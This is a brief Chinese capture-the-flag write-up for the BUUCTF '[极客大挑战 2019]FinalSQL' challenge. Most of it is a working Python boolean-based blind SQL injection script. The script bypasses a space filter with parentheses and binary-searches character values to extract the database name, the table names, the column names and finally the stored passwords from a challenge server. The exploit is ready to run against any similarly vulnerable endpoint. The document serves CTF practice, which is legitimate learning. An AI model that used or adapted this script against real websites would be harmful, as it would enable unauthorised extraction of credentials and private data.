[SQL盲注][极客大挑战 2019]FinalSQL(二分法)

发现过滤了一堆比如*空格之类的我们用()绕过上脚本，
网站太垃圾了请求的快，就要出错，还要加一个sleep等一下

import time

import requests

url = "http://34e5371d-f910-48da-ae2e-26ed2b56eb8d.node3.buuoj.cn/search.php?id="

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = '(ascii(substr(database(),%d,1))>%d)' % (i, mid)
        # payload = f'(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})'
        # payload = f'(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),{i},1))>{mid})'
        payload = f'(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})'
        r = requests.get(url + payload)
        # print(r.text)
        time.sleep(0.1)
        if "Click" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)